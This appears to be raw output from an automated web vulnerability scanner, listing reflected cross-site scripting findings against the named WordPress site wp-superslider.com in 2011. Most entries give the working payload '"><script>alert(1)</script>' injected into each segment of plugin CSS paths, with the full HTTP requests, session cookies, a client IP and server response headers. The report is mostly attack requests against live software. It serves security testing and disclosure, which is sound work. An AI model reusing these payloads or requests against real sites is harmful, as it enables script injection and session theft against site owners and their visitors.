Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:36 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674556+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674557; expires=Thu, 02-Feb-2012 19:22:37 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:37 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53425
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1daa"><script>alert(1)</script>94f5a7e073c was submitted in the REST URL parameter 1. This input was echoed as d1daa\"><script>alert(1)</script>94f5a7e073c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /sited1daa"><script>alert(1)</script>94f5a7e073c/wp-content/plugins/superslider/plugin-data/superslider/ssBase/default/tooltips.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:14 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674534+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674534; expires=Thu, 02-Feb-2012 19:22:14 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:14 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53431
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b7c82"><script>alert(1)</script>75b240e8597 was submitted in the REST URL parameter 2. This input was echoed as b7c82\"><script>alert(1)</script>75b240e8597 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-contentb7c82"><script>alert(1)</script>75b240e8597/plugins/superslider/plugin-data/superslider/ssBase/default/tooltips.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:15 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674535+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674536; expires=Thu, 02-Feb-2012 19:22:16 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:16 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53431
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4723e"><script>alert(1)</script>03783ed291a was submitted in the REST URL parameter 3. This input was echoed as 4723e\"><script>alert(1)</script>03783ed291a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins4723e"><script>alert(1)</script>03783ed291a/superslider/plugin-data/superslider/ssBase/default/tooltips.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:17 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674537+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674537; expires=Thu, 02-Feb-2012 19:22:17 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:17 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53431
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 73db0"><script>alert(1)</script>62b356dcb5e was submitted in the REST URL parameter 4. This input was echoed as 73db0\"><script>alert(1)</script>62b356dcb5e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider73db0"><script>alert(1)</script>62b356dcb5e/plugin-data/superslider/ssBase/default/tooltips.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:22 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674543+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674543; expires=Thu, 02-Feb-2012 19:22:23 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:23 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53432
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d5241"><script>alert(1)</script>51d25023ca8 was submitted in the REST URL parameter 5. This input was echoed as d5241\"><script>alert(1)</script>51d25023ca8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider/plugin-datad5241"><script>alert(1)</script>51d25023ca8/superslider/ssBase/default/tooltips.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:24 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674545+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674545; expires=Thu, 02-Feb-2012 19:22:25 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:25 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53431
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f8644"><script>alert(1)</script>624f801cac1 was submitted in the REST URL parameter 6. This input was echoed as f8644\"><script>alert(1)</script>624f801cac1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider/plugin-data/supersliderf8644"><script>alert(1)</script>624f801cac1/ssBase/default/tooltips.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:26 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674546+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674546; expires=Thu, 02-Feb-2012 19:22:26 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:26 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53431
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7487f"><script>alert(1)</script>5f527290bee was submitted in the REST URL parameter 7. This input was echoed as 7487f\"><script>alert(1)</script>5f527290bee in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider/plugin-data/superslider/ssBase7487f"><script>alert(1)</script>5f527290bee/default/tooltips.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:27 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674548+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674548; expires=Thu, 02-Feb-2012 19:22:28 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:28 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53431
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7d055"><script>alert(1)</script>7ce29bfd1af was submitted in the REST URL parameter 8. This input was echoed as 7d055\"><script>alert(1)</script>7ce29bfd1af in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider/plugin-data/superslider/ssBase/default7d055"><script>alert(1)</script>7ce29bfd1af/tooltips.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:29 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674550+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674550; expires=Thu, 02-Feb-2012 19:22:30 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:30 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53429
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 9 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b4353"><script>alert(1)</script>abe11ab9e4d was submitted in the REST URL parameter 9. This input was echoed as b4353\"><script>alert(1)</script>abe11ab9e4d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/superslider/plugin-data/superslider/ssBase/default/tooltips.cssb4353"><script>alert(1)</script>abe11ab9e4d HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:31 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674551+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674551; expires=Thu, 02-Feb-2012 19:22:31 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:31 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53431
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 332e7"><script>alert(1)</script>e7708e26fdc was submitted in the REST URL parameter 1. This input was echoed as 332e7\"><script>alert(1)</script>e7708e26fdc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site332e7"><script>alert(1)</script>e7708e26fdc/wp-content/plugins/wp-downloadmanager/download-css.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:31 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674552+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674552; expires=Thu, 02-Feb-2012 19:22:32 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:32 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53345
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b1e60"><script>alert(1)</script>55e2caf15cd was submitted in the REST URL parameter 2. This input was echoed as b1e60\"><script>alert(1)</script>55e2caf15cd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-contentb1e60"><script>alert(1)</script>55e2caf15cd/plugins/wp-downloadmanager/download-css.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:36 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674556+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674556; expires=Thu, 02-Feb-2012 19:22:36 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:36 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53347
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload adaa5"><script>alert(1)</script>26cdf719bb4 was submitted in the REST URL parameter 3. This input was echoed as adaa5\"><script>alert(1)</script>26cdf719bb4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/pluginsadaa5"><script>alert(1)</script>26cdf719bb4/wp-downloadmanager/download-css.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:40 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674560+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674561; expires=Thu, 02-Feb-2012 19:22:41 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:41 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53347
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dd8c0"><script>alert(1)</script>b8bbb170bdf was submitted in the REST URL parameter 4. This input was echoed as dd8c0\"><script>alert(1)</script>b8bbb170bdf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/wp-downloadmanagerdd8c0"><script>alert(1)</script>b8bbb170bdf/download-css.css HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:42 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674562+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674562; expires=Thu, 02-Feb-2012 19:22:42 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:42 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53347
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 867ca"><script>alert(1)</script>99896f8538 was submitted in the REST URL parameter 5. This input was echoed as 867ca\"><script>alert(1)</script>99896f8538 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/wp-content/plugins/wp-downloadmanager/download-css.css867ca"><script>alert(1)</script>99896f8538 HTTP/1.1 Host: wp-superslider.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: wpgb_visit_last-http://burp=Wed%20Feb%2002%202011%2009%3A46%3A33%20GMT-0600%20%28Central%20Standard%20Time%29; wpgb_visit_last_php-default=1296661497; __utmz=128106954.1296661566.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; bb2_screener_=1296661541+173.193.214.243; __utma=128106954.628123047.1296661566.1296661566.1296661566.1; __utmc=128106954; __utmb=128106954.1.10.1296661566;
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:22:44 GMT Server: Apache/2.2.14 (Unix) mod_ssl/2.2.14 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 X-Powered-By: PHP/5.2.12 X-Pingback: http://wp-superslider.com/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Set-Cookie: bb2_screener_=1296674564+173.193.214.243; path=/ Set-Cookie: wpgb_visit_last_php-default=1296674565; expires=Thu, 02-Feb-2012 19:22:45 GMT; path=/ Last-Modified: Wed, 02 Feb 2011 19:22:45 GMT Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 53344
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en-US">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 35227"><script>alert(1)</script>3dfa69234d3 was submitted in the REST URL parameter 1. This input was echoed as 35227\"><script>alert(1)</script>3dfa69234d3 in the application's response.
